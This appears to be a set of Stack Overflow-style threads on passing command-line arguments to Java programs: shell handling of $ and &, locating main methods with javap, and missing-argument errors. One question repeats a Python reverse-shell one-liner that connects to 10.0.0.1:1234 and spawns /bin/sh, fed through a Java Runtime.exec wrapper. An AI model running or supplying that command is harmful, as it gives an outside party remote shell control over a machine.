I'm using the terminal in Mac to try and output some strings using javac. However there are some symbols that don't seem to work, for instance the dollar sign and asterisk:
public class BirdDisplay{
public static void main(String... args){
System.out.println(args[1]);
}
}
and then:
javac BirdDisplay.java
java BirdDisplay sparrow $someBird
I get this error:
Exception in thread "main" java.lang.ArrayIndexOutOfBoundsException: 1
at BirdDisplay.main(BirdDisplay.java:3)
As far as I know $ is accepted in class names and is a valid identifier, what is the cause of this exception?
You're using it from a shell, where $ is doing environment/shell variable substitution. This has nothing to do with Java - it's how the shell is invoking the process.
Just put it in single quotes:
java BirdDisplay sparrow '$someBird'
Note that the use of a $ as a valid Java identifier is irrelevant, as you're not using it in any source code - the value $someBird purely being used as data in your program (or will be once you've prevented the shell from performing variable substitutions).
As Daisy pointed out, this is because you are running your program in the shell, where $someBird is interpreted as an environment variable. Because $someBird is not an environment variable, the shell replaces it with nothing and you have a command-line arguments array of length 1 instead of length 2. As such, your program has no value for args[1] and you get java.lang.ArrayIndexOutOfBoundsException. You can test this by running this code to print out the length of args:
public class BirdDisplay{
public static void main(String... args){
System.out.println(args.length);
}
}
And now when you do:
javac BirdDisplay.java
java BirdDisplay sparrow $someBird
You will see 1 instead of 2
Related
I'm putting together some (Python) scripts to help me automate some of my grading of hundreds of simple student Java repos. Not all of them have the same directory structure or naming of files. I've traversed them all and compiled them and if I make assumptions I can run them and test them, etc. But I'd like to know if there's a way I could find the "main" .class that has the main() method in it, so that I don't have to make assumptions about their file naming (which wouldn't work all the time anyway).
I'm aware of reflection, so yes, I know I could write another simple helper Java program to assist me in identifying it myself. But I was wondering if anything already exists (java command line option, tool from the jdk, etc.) to test a .class file to see if it is has the main() method in it.
I was wondering if anything already exists (java command line option, tool from the JDK, etc.) to test a .class file to see if it is has the main() method in it.
There is no tool or option in Java SE that does that directly.
I know I could write another simple helper Java program to assist me ...
It would be simpler to write a shell script that iterates a file tree, finds .class files, calls javap on them, and greps for a method with the appropriate main method signature.
Or you could do something similar on the source code tree.
(In retrospect, you should have set the assignment requirements so that the students had to use a specified class and package name for the class containing their main method. But it is too late for that now ...)
In the C++ days, distributing the headers files to use a shared object file was a big deal. People would get one or the other without both, and there was always the chance you'd get mis-matched versions.
Java fixed that with javap which prints the methods (and other major interfaces) of a compiled .class file.
To test if a class file has a main, run
javap SomeFile.class
which will list all public interfaces. Within that list, see if it has the "main entry point"
public static void main(java.lang.String[])
Now to handle this in mass, simply create a Python script that:
Locates all the relevant classes.
Runs javap on the class.
Reads the output for a method that matches (at the beginning, as there can be a variable number of Exceptions at the end "public static void main(java.lang.String[])
And you'll find all entry points.
Keep in mind that sometimes a single library or JAR file has many entry points, some of which are not intended as the primary entry point.
Well simply calling java -cp . <file> will either completely blow out if the class doesn't have a main method or will run the relevant code. Now, if the code fails to run right and errors out you may see it as the same effect as not having a main method.
public class HasMain {
public static void main(String[] args) {
System.out.println("Hit main");
}
}
public class HasDoIt {
public static void doIt(String[] args) {
System.out.println("Hit doIt");
}
}
public class WillBlowUp {
public static void main(String[] args) {
System.out.println("Hit blowUp");
throw new IllegalStateException("oops");
}
}
Using PowerShell:
PS D:\Development\sandbox> javac HasMain.java
PS D:\Development\sandbox> javac HasDoIt.java
PS D:\Development\sandbox> javac WillBlowUp.java
PS D:\Development\sandbox> java -cp . HasMain
Hit main
PS D:\Development\sandbox> $?
True
PS D:\Development\sandbox> java -cp . HasDoIt
Error: Main method not found in class HasDoIt, please define the main method as:
public static void main(String[] args)
or a JavaFX application class must extend javafx.application.Application
PS D:\Development\sandbox> $?
False
PS D:\Development\sandbox> java -cp . WillBlowUp
Hit blowUp
Exception in thread "main" java.lang.IllegalStateException: oops
at WillBlowUp.main(WillBlowUp.java:4)
PS D:\Development\sandbox> $?
False
So simply checking return values could be a quick way to test if the class has what you want, albeit any exit(1) type return will throw a false-false
I am getting data truncation when I pass '$' or '&' as part of data in my java arguments. I know that issue can be resolved by using escape character '\' before '$' but I don't understand why we are seeing this only for '$' or '&' and not for any other special characters like '#','#','%','^' or'*'
Following is my standalone test case to reproduce this error
import java.util.Arrays;
public class Main{
public static void main(String [] args)
{
System.out.println(Arrays.toString(args));
System.out.println(args[0]);
}
}
Input
java Main name=Daniel$Burgers
Output
[name=Daniel]
name=Daniel
This isn't a Java issue - it's your shell; the command line from which you're running the code. $ is usually used for variable substitution in shells; & is usually used for background processes. You'd see the same using echo:
$ echo name=Daniel$Burgers
Output:
name=Daniel
If you put the value in single quotes, that tells the shell not to do anything special until the end of the string (another single quote):
$ echo 'name=Daniel$Burgers'
Output:
name=Daniel$Burgers
The same change should fix your Java invocation.
Given the below java code, how can I pass the following python statements as argument to the java code
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
The java code:
import java.io.*;
public class Exec {
public static void main(String[] args) throws IOException {
Process p = Runtime.getRuntime().exec(args[0]);
byte[] b = new byte[1];
while (p.getErrorStream().read(b) > 0)
System.out.write(b);
while (p.getInputStream().read(b) > 0)
System.out.write(b);
}
}
I execute the java code using:
java Exec 'python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);''
but it throws syntax error near unexpected token('`. If I use double quotes at the beginning and end
java Exec "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.0.0.1\",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"
it throws:
File "<string>", line 1
'import
^
SyntaxError: EOL while scanning string literal
Any help is much appreciated.
As you've noted, this is quite confusing. You're trying to pass in everything as one argument and the quoting becomes difficult. If you need explicit arguments, I think you have to pass in three arguments to your Java program, viz:
python
-c
the complete script quoted appropriately
e.g.
java Exec python -c "script quoted and escaped properly"
but perhaps you could circumvent that by running 'python' and passing the name of the file containing your script? (why do you need to specify 'python' and '-c' - could that be hardcoded in your program?)
Fundamentally, though, why are you using Java to execute a Python program to spawn a bash shell? If you're on the Java platform, I would look at how to achieve what you really want without having to fork subprocesses using different technologies.
Is there a way to read data from the command prompt? I have a java program that relies on 4 input variables from an outside source. These variables are returned to the command prompt after I run a javascript program but i need a way to pass these variables from the command prompt into my java program, any help would be greatly appreciated!
While executing java program pass the parameters and all the parameters should be separated by space.
java programName parameter1 parameter2 parameter3 parameter4
This parameters would be available in your main method argument
public static void main(String[] args){
//This args array would be containing all four values, i.e. its length would be 4 and you easily iterate values.
for(int i=0; i<args.length; i++){
System.out.println("Argument " + i + " is " + args[i]);
}
Follow the link:
Command-Line Arguments - The Java™ Tutorials : https://docs.oracle.com/javase/tutorial/essential/environment/cmdLineArgs.html
shared by #BackSlash.
It has all the content which would help you to clear all your doubts.
The content from the link is quoted below:
Displaying Command-Line Arguments passed by user from command-line to a Java program
The following example displays each of its command-line arguments on a
line by itself:
public class DisplayCommandLineParameters {
public static void main (String[] args) {
for (String s: args) {
System.out.println(s);
}
}
}
To compile the program: From the Command Prompt, navigate to the directory containing your .java file, say C:\test, by typing the cd
command below.
C:\Users\username>cd c:\test
C:\test>
Assuming the file, say DisplayCommandLineParameters.java, is in the
current working directory, type the javac command below to compile it.
C:\test>javac DisplayCommandLineParameters.java
C:\test>
If everything went well, you should see no error messages.
To run the program: The following example shows how a user might run the class.
C:\test>java DisplayCommandLineParameters Hello Java World
Output:
Hello
Java
World
Note that the application displays each word — Hello, Java and World —
on a line by itself. This is because the space character separates
command-line arguments.
To have Hello, Java and World interpreted as a single argument, the
user would join them by enclosing them within quotation marks.
C:\test>java DisplayCommandLineParameters "Hello Java World"
Output: Hello Java World
Hi i am a java learner and trying to make this program for add two number.
While running this i am getting this error msg..
Exception in thread "main" java.lang.ArrayIndexOutOfBoundsException: 0
at addnumber.main(addnumber.java:16)
Java Result: 1
public class addnumber{
public static void main(String[] args) {
String x,y;
int a,b,c;
x=args[0];
y=args[1];
a=Integer.parseInt(x);
b=Integer.parseInt(y);
c=a+b;
System.out.println(c);
}
}
I know i can use Scanner class or string builder class however whats wrong with this code?
If you use the args-array you have to give the programm some parameters from outside for example from the console.
So open the console and go to the directory where the .java file is and compile it manually with
javac Addnumber.java
Now you should see a .class file there.
Than write a call like this:
java Addnumber 5 9
your arguments would be 5 and 9.
Also write the classname in capitals
If your running with eclipse or any other working tool. then you have to set run configuration-arguments.
Suppose you run this code in command line then you have to run this code using the below command
java addnumber 2 4
Good Quastion, The Problem is in String[] args, this problem leads to find out what is the initial value of this Parameter as string? or in other words How is the IDEs call the main method? if you run this code in Netbeans or Eclipse by default will print this error:
Exception in thread "main" java.lang.ArrayIndexOutOfBoundsException:
because by default the IDE call method with array of string with 0 length:
TheNameOfClass.main(new String[0]) // if you run it in some IDEs
>java Addnumber // cmd with no args?
In your case the exception will occur in line x=args[0]; because you invoke and you want to use some item in array out of range or grater than the length of the array.
Now you can configure it as example in eclipse to pass some Strings values as you need OR you need to compile and run the java class manual in a 'Command Prompt' and passed some of Strings values:
>javac Addnumber.java // compile it
>java Addnumber 1 77 // run it and passs some values to array in main method